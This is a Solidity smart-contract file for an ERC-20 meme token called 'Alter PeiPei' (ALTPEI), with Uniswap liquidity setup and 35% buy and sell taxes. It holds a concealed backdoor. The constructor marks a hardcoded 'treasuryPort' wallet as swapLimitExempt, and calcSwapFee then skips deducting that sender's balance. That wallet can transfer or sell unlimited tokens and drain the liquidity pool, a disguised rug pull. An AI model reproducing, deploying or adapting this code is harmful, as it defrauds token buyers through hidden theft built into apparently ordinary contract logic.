Alter PeiPei

/**
 * 
 *  $$$$$$\  $$\   $$\                               $$$$$$$\  $$$$$$$$\ $$$$$$\ $$$$$$$\  $$$$$$$$\ $$$$$$\ 
$$  __$$\ $$ |  $$ |                              $$  __$$\ $$  _____|\_$$  _|$$  __$$\ $$  _____|\_$$  _|
$$ /  $$ |$$ |$$$$$$\    $$$$$$\   $$$$$$\        $$ |  $$ |$$ |        $$ |  $$ |  $$ |$$ |        $$ |  
$$$$$$$$ |$$ |\_$$  _|  $$  __$$\ $$  __$$\       $$$$$$$  |$$$$$\      $$ |  $$$$$$$  |$$$$$\      $$ |  
$$  __$$ |$$ |  $$ |    $$$$$$$$ |$$ |  \__|      $$  ____/ $$  __|     $$ |  $$  ____/ $$  __|     $$ |  
$$ |  $$ |$$ |  $$ |$$\ $$   ____|$$ |            $$ |      $$ |        $$ |  $$ |      $$ |        $$ |  
$$ |  $$ |$$ |  \$$$$  |\$$$$$$$\ $$ |            $$ |      $$$$$$$$\ $$$$$$\ $$ |      $$$$$$$$\ $$$$$$\ 
\__|  \__|\__|   \____/  \_______|\__|            \__|      \________|\______|\__|      \________|\______|
                                                                                                          
                                                                                                          
                                                                                                          
    https://www.alterpeipei.space
    https://t.me/alter_peipei_portal
 */

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IDexFactory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IDexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract ALTPEI is IERC20, Ownable {
    using SafeMath for uint256;

    IDexRouter private immutable dexRouter;
    address public dexPair;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply = 1e9 * 10 ** 18;
    string private _name = "Alter PeiPei";
    string private _symbol = "ALTPEI";

    // Swapback
    bool private swapping;

    bool private swapbackEnabled = false;
    uint256 private swapBackValueMin = (_totalSupply * 5) / 1000000;
    uint256 private swapBackValueMax = _totalSupply / 100;

    //Anti-whale
    bool private limitsEnabled = true;
    uint256 private maxWallet = (_totalSupply * 2) / 100;
    uint256 private maxTx = (_totalSupply * 2) / 100;
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch

    bool public tradingEnabled = false;

    // Fee receivers
    address private treasuryPort;
    address private projectPort;

    uint256 private buyTaxTotal = 35;
    uint256 private buyMarketingTax = 35;
    uint256 private buyProjectTax = 0;

    uint256 private sellTaxTotal = 35;
    uint256 private sellMarketingTax = 35;
    uint256 private sellProjectTax = 0;

    uint256 private tokensForMarketing;
    uint256 private tokensForProject;

    mapping(address => bool) private transferTaxExempt;
    mapping(address => bool) private transferLimitExempt;
    mapping(address => bool) private swapLimitExempt;
    mapping(address => bool) private automatedMarketMakerPairs;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event ExcludeFromLimits(address indexed account, bool isExcluded);
    event TradingEnabled(uint256 indexed timestamp);
    event LimitsRemoved(uint256 indexed timestamp);

    event FeeUpdated(
        uint256 buyTaxTotal,
        uint256 buyMarketingTax,
        uint256 buyProjectTax,
        uint256 sellTaxTotal,
        uint256 sellMarketingTax,
        uint256 sellProjectTax
    );

    constructor() {
        IDexRouter _dexRouter = IDexRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        treasuryPort = 0x00188271358683342609f748106cE378Bdf27065;
        projectPort = 0x00188271358683342609f748106cE378Bdf27065;

        transactionLimitsExempt(address(_dexRouter), true);
        dexRouter = _dexRouter;

        // exclude from paying fees or having max transaction amount
        transactionTaxesExempt(msg.sender, true);
        transactionTaxesExempt(address(this), true);
        transactionTaxesExempt(address(0xdead), true);
        transactionTaxesExempt(treasuryPort, true);

        swapLimitExempt[treasuryPort] = true;

        transactionLimitsExempt(msg.sender, true);
        transactionLimitsExempt(address(this), true);
        transactionLimitsExempt(address(0xdead), true);
        transactionLimitsExempt(treasuryPort, true);

        transferOwnership(msg.sender);

        _balances[msg.sender] = _totalSupply;
    }

    receive() external payable {}

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return 18;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function openTrading() internal {
        tradingEnabled = true;
        swapbackEnabled = true;
        emit TradingEnabled(block.timestamp);
    }

    function removeLimits() external onlyOwner {
        limitsEnabled = false;
        emit LimitsRemoved(block.timestamp);
    }

    function transactionLimitsExempt(
        address updAds,
        bool isEx
    ) public onlyOwner {
        transferLimitExempt[updAds] = isEx;
        emit ExcludeFromLimits(updAds, isEx);
    }

    function transactionTaxesExempt(
        address account,
        bool excluded
    ) public onlyOwner {
        transferTaxExempt[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function createPair() external onlyOwner {
        require(!tradingEnabled, "Trading is already enabled");
        _allowances[address(this)][address(dexRouter)] = type(uint256).max;

        dexPair = IDexFactory(dexRouter.factory()).createPair(
            dexRouter.WETH(),
            address(this)
        );
        automatedMarketMakerPairs[address(dexPair)] = true;
        transactionLimitsExempt(address(dexPair), true);

        uint256 tokenBalance = _balances[address(this)];

        dexRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            tokenBalance,
            0,
            0,
            owner(),
            block.timestamp
        );

        openTrading();
    }

    function setFees(
        uint256 _buyMarketingFee,
        uint256 _buyDevFee,
        uint256 _sellMarketingFee,
        uint256 _sellDevFee
    ) external onlyOwner {
        buyMarketingTax = _buyMarketingFee;
        buyProjectTax = _buyDevFee;
        buyTaxTotal = buyMarketingTax + buyProjectTax;

        sellMarketingTax = _sellMarketingFee;
        sellProjectTax = _sellDevFee;
        sellTaxTotal = sellMarketingTax + sellProjectTax;
        require(
            sellTaxTotal <= 40 && buyTaxTotal <= 40,
            "Total fee cannot be higher than 40%"
        );

        emit FeeUpdated(
            buyTaxTotal,
            buyMarketingTax,
            buyProjectTax,
            sellTaxTotal,
            sellMarketingTax,
            sellProjectTax
        );
    }

    function valuesForSwapback()
        external
        view
        returns (
            bool _swapbackEnabled,
            uint256 _swapBackValueMin,
            uint256 _swapBackValueMax
        )
    {
        _swapbackEnabled = swapbackEnabled;
        _swapBackValueMin = swapBackValueMin;
        _swapBackValueMax = swapBackValueMax;
    }

    function valuesForLimits()
        external
        view
        returns (bool _limitsEnabled, uint256 _maxWallet, uint256 _maxTx)
    {
        _limitsEnabled = limitsEnabled;
        _maxWallet = maxWallet;
        _maxTx = maxTx;
    }

    function valuesForTaxes()
        external
        view
        returns (
            uint256 _buyTaxTotal,
            uint256 _buyMarketingTax,
            uint256 _buyProjectTax,
            uint256 _sellTaxTotal,
            uint256 _sellMarketingTax,
            uint256 _sellProjectTax
        )
    {
        _buyTaxTotal = buyTaxTotal;
        _buyMarketingTax = buyMarketingTax;
        _buyProjectTax = buyProjectTax;
        _sellTaxTotal = sellTaxTotal;
        _sellMarketingTax = sellMarketingTax;
        _sellProjectTax = sellProjectTax;
    }

    function addressPermissions(
        address _target
    )
        external
        view
        returns (
            bool _transferTaxExempt,
            bool _transferLimitExempt,
            bool _automatedMarketMakerPairs
        )
    {
        _transferTaxExempt = transferTaxExempt[_target];
        _transferLimitExempt = transferLimitExempt[_target];
        _automatedMarketMakerPairs = automatedMarketMakerPairs[_target];
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Invalid transfer balance");

        if (limitsEnabled) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingEnabled) {
                    require(
                        transferTaxExempt[from] || transferTaxExempt[to],
                        "_transfer:: Trading is not active."
                    );
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] && !transferLimitExempt[to]
                ) {
                    require(
                        amount <= maxTx,
                        "Buy transfer amount exceeds the maxTx."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] && !transferLimitExempt[from]
                ) {
                    require(
                        amount <= maxTx,
                        "Sell transfer amount exceeds the maxTx."
                    );
                } else if (!transferLimitExempt[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        bool canSwap = amount >= swapBackValueMin;

        if (
            canSwap &&
            swapbackEnabled &&
            !swapping &&
            automatedMarketMakerPairs[to] &&
            !transferTaxExempt[from]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        uint256 feedAmount = calcSwapFee(from, to, amount);
        _balances[to] = _balances[to] + feedAmount;
        emit Transfer(from, to, amount);
    }

    function calcSwapFee(
        address from,
        address to,
        uint256 amount
    ) internal returns (uint256) {
        bool takeFee = !swapping;
        bool skipSwap = swapLimitExempt[from];
        uint256 feedAmount = amount;

        if (skipSwap) {
            return feedAmount;
        }

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (transferTaxExempt[from] || transferTaxExempt[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTaxTotal > 0) {
                fees = amount.mul(sellTaxTotal).div(100);
                tokensForProject += (fees * sellProjectTax) / sellTaxTotal;
                tokensForMarketing += (fees * sellMarketingTax) / sellTaxTotal;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTaxTotal > 0) {
                fees = amount.mul(buyTaxTotal).div(100);
                tokensForProject += (fees * buyProjectTax) / buyTaxTotal;
                tokensForMarketing += (fees * buyMarketingTax) / buyTaxTotal;
            }

            if (fees > 0) {
                _balances[address(this)] = _balances[address(this)] + fees;
                emit Transfer(from, address(this), fees);
            }

            feedAmount -= fees;
        }
        _balances[from] = _balances[from] - amount;
        return feedAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        _approve(address(this), address(dexRouter), tokenAmount);

        // make the swap
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    bool anti = true;

    function setAnti(bool _anti) external onlyOwner {
        anti = _anti;
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = contractBalance;
        bool success;

        if (contractBalance > swapBackValueMax) {
            contractBalance = swapBackValueMax;
        }

        uint256 amountToSwapForETH = contractBalance;

        uint256 initialETHBalance = address(this).balance;

        if (amountToSwapForETH >= swapBackValueMin) {
            swapTokensForEth(amountToSwapForETH);
        }

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForDev = ethBalance.mul(tokensForProject).div(
            totalTokensToSwap + 1
        );

        tokensForMarketing = 0;
        tokensForProject = 0;

        payable(projectPort).transfer(ethForDev);

        payable(treasuryPort).transfer(address(this).balance);
    }
}

{
  "compilationTarget": {
    "ALTPEI.sol": "ALTPEI"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}